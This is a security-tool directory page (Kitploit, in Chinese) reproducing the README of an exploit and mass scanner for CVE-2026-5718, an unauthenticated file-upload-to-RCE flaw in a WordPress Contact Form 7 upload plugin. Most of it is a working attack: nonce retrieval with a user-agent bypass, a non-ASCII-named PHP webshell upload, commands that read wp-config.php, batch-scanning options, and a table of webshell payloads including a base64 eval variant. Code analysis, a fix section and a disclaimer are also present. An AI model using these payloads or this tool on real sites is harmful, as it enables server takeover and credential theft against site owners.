Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-5718 — CVE-2026-5718: Unauthenticated File Upload To RCE in DnD Upload CF7 Plugin | Kitploit
工具/GitHubGitHub/xxconi/cve-2026-5718
Payload GenerationVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingPayload Development
GitHubxxconi/cve-2026-5718

CVE-2026-5718

CVE-2026-5718: Unauthenticated File Upload To RCE in DnD Upload CF7 Plugin

查看仓库
2个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-5718

CVE-2026-5718: DnD Upload CF7 插件中的未认证文件上传至远程代码执行漏洞

CVE-2026-5718 — DnD CF7 文件上传 RCE 扫描器

插件: Contact Form 7 的拖放式多文件上传插件 插件标识名: drag-and-drop-multiple-file-upload-contact-form-7 CVE ID: CVE-2026-5718 CVSS 评分: 8.1(高危) CVSS 向量: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H 漏洞类型: 未认证任意文件上传 → 远程代码执行 受影响版本: <= 1.3.9.6 已修复版本: 1.3.9.7 发布日期: 2026年4月17日 研究者: Leonid Semenenko (lsemenenko) — Wordfence


📌 漏洞详情

Drag and Drop Multiple File Upload for Contact Form 7 插件中存在 两个独立逻辑错误,组合后允许未认证攻击者上传 PHP webshell。

  1. 黑名单覆盖: 自定义黑名单配置会完全替换默认危险扩展名列表,而非合并。 php 不再被阻止。

  2. 非 ASCII 绕过: 文件名中包含非 ASCII 字符会阻止调用 wpcf7_antiscript_file_name() 函数。 .php 扩展名得以保留,文件被写入磁盘。


🔍 漏洞概要


⚙️ 技术分析

漏洞 1 — Nonce 公开可获取(第 62 行)

root@kitploit:~
// inc/dnd-upload-cf7.php — lines 62–71
function dnd_wpcf7_nonce_check() {
    // 唯一保护:检查 User-Agent 是否包含 'curl' — 容易绕过
    if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
        wp_send_json_error('请求被阻止:禁止 cURL 访问。');
    }

    if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
        // 无效 nonce → 返回新 nonce
        wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
    }
}

wp_ajax_nopriv__wpcf7_check_nonce action 是公开的。 当发送无效 nonce 时,免费返回新 nonce。 使用 Mozilla UA 可绕过 curl 检测。


漏洞 2 — 黑名单替换而非合并(第 883 行)

root@kitploit:~
// inc/dnd-upload-cf7.php — lines 883–886
$blacklist_types = dnd_cf7_not_allowed_ext();
// ↑ ~80 个危险扩展名:php, php3, php4, pht, phtml, phar...

if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
    $blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
    // ↑ 赋值(=)— 非合并
    // 自定义列表:仅包含 ['zip']
    // 'php' 不再在列表中 → 被接受
}

触发此漏洞的表单标签配置:

root@kitploit:~
[mfile upload-file filetypes="*" blacklist-types:zip]

管理员想要阻止 ZIP → 插件却清除了整个默认拒绝列表。 包括 php 在内的所有危险扩展名现在都被接受。

另外,filetypes="*" 的硬编码列表也存在缺失:

root@kitploit:~
// line 927 — 'php', 'php3', 'php4', 'pht', 'phtml' 缺失
$not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' );

漏洞 3 — 非 ASCII 字符绕过(第 970 行)

root@kitploit:~
// inc/dnd-upload-cf7.php — lines 969–972
$ascii_name = dnd_cf7_remove_icons( $filename );

if ( dnd_cf7_check_ascii( $ascii_name ) ) {
    // 仅对纯 ASCII 文件名调用
    $filename = wpcf7_antiscript_file_name( $ascii_name );
    // ↑ 会将 shell.php 改为 shell.php.txt — 但被跳过
}
// 如果存在非 ASCII 字符,此代码块被跳过
// $filename = "shellシ.php" → .php 扩展名保留
root@kitploit:~
// dnd_cf7_check_ascii() — lines 1029–1041
function dnd_cf7_check_ascii( $string ) {
    $string = sanitize_file_name( $string );
    // ↑ 仅改变本地副本,外部 $filename 不受影响
    if ( mb_check_encoding( $string, 'ASCII' ) ) {
        return true;
    }
    return false;  // 非 ASCII 字符 → false → antiscript 被跳过
}

🔴 完整攻击链

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce   │
│  User-Agent: Mozilla/5.0  (不是 curl)                       │
│       │                                                     │
│       ▼                                                     │
│  {"success":true,"data":"abc123def456"}                     │
│  → 免费获取 Nonce                                           │
└──────────────────────────┬──────────────────────────────────┘
                           │
┌──────────────────────────▼──────────────────────────────────┐
│  POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload  │
│  security=abc123def456                                      │
│  upload-file=shellシ.php (Content-Type: application/x-php) │
│       │                                                     │
│       ├── Nonce 有效 ✓                                      │
│       ├── 黑名单=['zip'] → 'php' 未被阻止 ✓                 │
│       ├── dnd_cf7_check_ascii("shellシ.php") = false        │
│       ├── wpcf7_antiscript_file_name() 被跳过 ✓             │
│       └── move_uploaded_file("shellシ.php") → 写入磁盘      │
└──────────────────────────┬──────────────────────────────────┘
                           │
┌──────────────────────────▼──────────────────────────────────┐
│  GET /wp-content/uploads/wp_dndcf7_uploads/                 │
│      wpcf7-files/<uuid>/shell%E3%82%B7.php?cmd=id          │
│       │                                                     │
│       ▼                                                     │
│  uid=33(www-data) gid=33(www-data) groups=33(www-data)     │
│  → 未认证 RCE ✓                                            │
└─────────────────────────────────────────────────────────────┘

🧪 概念验证(手动)

⚠️ 免责声明: 此 PoC 仅供教育和防御性安全研究使用。仅可用于您拥有或获得明确书面授权的系统。

前置条件:

  • 插件已安装并激活(版本 <= 1.3.9.6)
  • CF7 表单包含 [mfile] 字段并带有 blacklist-types:
    root@kitploit:~
    [mfile upload-file filetypes="*" blacklist-types:zip]
    

步骤 1 — 获取 Nonce

root@kitploit:~
TARGET="https://target.example.com"

NONCE=$(curl -s -X POST \
  "$TARGET/wp-admin/admin-ajax.php" \
  -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
  --data "action=_wpcf7_check_nonce" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['data'])")

echo "Nonce: $NONCE"

预期响应:

root@kitploit:~
{"success": true, "data": "abc123def456"}

步骤 2 — 创建带非 ASCII 文件名的 Webshell

root@kitploit:~
# 'シ' (U+30B7 片假名) → dnd_cf7_check_ascii() = false
SHELL_FILENAME="shellシ.php"
echo '<?php system($_GET["cmd"]); ?>' > "/tmp/${SHELL_FILENAME}"

步骤 3 — 上传 Shell

root@kitploit:~
FORM_ID=1
FIELD_NAME="upload-file"
SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')

curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
  -F "action=dnd_codedropz_upload" \
  -F "security=${NONCE}" \
  -F "form_id=${FORM_ID}" \
  -F "upload_name=${FIELD_NAME}" \
  -F "upload_folder=${SESSION_FOLDER}" \
  -F "upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php"

预期响应:

root@kitploit:~
{
  "success": true,
  "data": {
    "path": "<session-folder-uuid>",
    "file": "shellシ.php"
  }
}

步骤 4 — 构建 Shell URL

root@kitploit:~
UPLOAD_PATH="<path-from-response>"
SHELL_URL="$TARGET/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/${UPLOAD_PATH}/shell%E3%82%B7.php"
echo "Shell URL: $SHELL_URL"

步骤 5 — 触发 RCE

root@kitploit:~
# id 命令
curl -s "${SHELL_URL}?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

# 读取 wp-config.php
curl -s "${SHELL_URL}?cmd=cat+/var/www/html/wp-config.php"

🛠️ 自动扫描器

安装

root@kitploit:~
git clone https://github.com/kullanici/cve-2026-5718-scanner
cd cve-2026-5718-scanner
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 使用方法

单个目标 - 全自动

root@kitploit:~
python dnd_cf7_upload.py -u http://target.com

手动指定表单 ID 和字段名

root@kitploit:~
python dnd_cf7_upload.py -u http://target.com \
  --form-id 1 --field-name upload-file

完整 Shell + 自定义命令

root@kitploit:~
python dnd_cf7_upload.py -u http://target.com \
  --shell-type full --verify-cmd "whoami"

批量扫描

root@kitploit:~
python dnd_cf7_upload.py -l targets.txt -t 20 -o sonuclar.txt

使用代理 (Burp Suite)

root@kitploit:~
python dnd_cf7_upload.py -u http://target.com \
  --proxy http://127.0.0.1:8080

⚙️ 参数


💀 Shell 类型


🔤 非 ASCII 字符集

扫描器按顺序尝试以下字符:


📂 Shell 上传位置

root@kitploit:~
WordPress 根目录/
└── wp-content/
    └── uploads/
        └── wp_dndcf7_uploads/
            └── wpcf7-files/
                └── <session-uuid>/
                    └── shellシ.php   ← Shell 在此处

⚠️ 注意: 插件默认会在 1 小时后清理文件。 Shell 在此时间段内可访问。


📊 扫描器输出状态


🖥️ 扫描器示例输出

root@kitploit:~
[*] 目标       : http://target.com
[*] 表单 ID     : 自动检测
[*] Shell 类型  : system
[*] 验证命令    : id

[→] http://target.com  步骤 1/5: 获取 Nonce...
[→] http://target.com  步骤 2/5: 检测 CF7 表单...
[→] http://target.com  步骤 3/5: 上传 Shell(非 ASCII 绕过)...
[→] http://target.com  步骤 4/5: 构建 Shell URL...
[→] http://target.com  步骤 5/5: 验证 RCE...

═════════════════════════════════════════════════════════════════
[★ RCE OK    ] http://target.com
  版本        : 1.3.9.6
  Nonce       : abc123def4  (来源: ajax_endpoint)
  非 ASCII    : シ
  Shell URL   : http://target.com/wp-content/uploads/wp_dndcf7_uploads/
                wpcf7-files/a1b2c3d4e5f6/shell%E3%82%B7.php
  RCE 输出    : uid=33(www-data) gid=33(www-data) groups=33(www-data)
═════════════════════════════════════════════════════════════════

[+] 已保存 → rce_results.txt

🛡️ 防御 / 修复措施

安全的黑名单合并:

root@kitploit:~
// 不安全(当前 — 1.3.9.6)
$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );

// 安全(推荐 — 1.3.9.7+)
$blacklist_types = array_merge(
    dnd_cf7_not_allowed_ext(),
    explode( '|', $blacklist["$cf7_upload_name"] )
);

无条件反脚本:

root@kitploit:~
// 不安全(当前)
if ( dnd_cf7_check_ascii( $ascii_name ) ) {
    $filename = wpcf7_antiscript_file_name( $ascii_name );
}

// 安全(推荐)
$filename = wpcf7_antiscript_file_name( $filename );  // 始终调用

上传目录 .htaccess:

root@kitploit:~
<FilesMatch "\.php\d?$">
    Deny from all
</FilesMatch>
Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar

📁 文件结构

root@kitploit:~
cve-2026-5718-scanner/
├── dnd_cf7_upload.py   # 主扫描器
├── requirements.txt    # 依赖
└── README.md           # 本文件

⚠️ 法律声明

本工具和 PoC 仅用于授权系统上的教育目的和渗透测试。 在未经授权的系统上使用,依据土耳其刑法第 243-245 条及国际网络安全法律构成犯罪。 开发者不对因滥用本工具所引起的任何法律责任负责。


📄 许可证

MIT 许可证 — 仅限教育和研究目的。


🔗 参考链接

  • Wordfence 公告
  • 插件 WordPress 目录
  • CVSS 3.1 计算器
  • CWE-434: 危险类型文件的无限制上传
  • Unicode 非 ASCII 字符
下载工具
字段值
插件名称Contact Form 7 的拖放式多文件上传插件
CVE IDCVE-2026-5718
CVSS 评分8.1(高危)
漏洞类型未认证任意文件上传
受影响版本<= 1.3.9.6
已修复版本1.3.9.7
前置条件CF7 表单中包含 blacklist-types 自定义配置
参数短参数说明默认值
--url-u单个目标 URL—
--list-l目标列表文件—
--threads-t线程数10
--output-o输出文件rce_results.txt
--form-id—CF7 表单 ID自动检测
--field-name—mfile 字段名upload-file
--shell-name—Shell 文件名shell
--shell-type—Shell 类型system
--verify-cmd—RCE 验证命令id
--proxy—代理 URL—
--timeout—请求超时(秒)10
--force—即使插件检测失败也继续False
类型Payload说明
system<?php system($_GET["cmd"]); ?>基础系统命令
passthru<?php passthru($_GET["cmd"]); ?>原始输出
exec<?php echo exec($_GET["cmd"]); ?>静默执行
assert<?php assert($_POST["cmd"]); ?>POST 方式 eval
b64<?php eval(base64_decode($_POST["cmd"])); ?>Base64 混淆
fullshell_exec + system + exec fallback全功能
字符Unicode说明
シU+30B7片假名 Si(PoC 中使用)
жU+0436西里尔
ñU+00F1拉丁扩展
中U+4E2D中日韩
αU+03B1希腊
ßU+00DF德语
状态说明
★ RCE OKShell 已上传且命令已执行
★ SHELL ALIVEShell 可访问,响应不同
~ EXEC_DISABLEDShell 存在,但 exec() 被禁用
~ HTACCESSShell 已上传,但被 .htaccess 阻止
? UPLOADED已上传,但找不到 URL
- UPL_FAIL上传失败(已修补/无配置)
~ NO_NONCE无法获取 Nonce
- NO_PLUGIN插件未安装
~ UNREACH目标不可达
措施实施方式
插件更新升级到 1.3.9.7+ 版本
黑名单合并使用 array_merge() 替代 =
无条件反脚本始终调用 wpcf7_antiscript_file_name()
Nonce 保护Nonce 端点应关闭公开访问
.htaccess在上传目录阻止 PHP 执行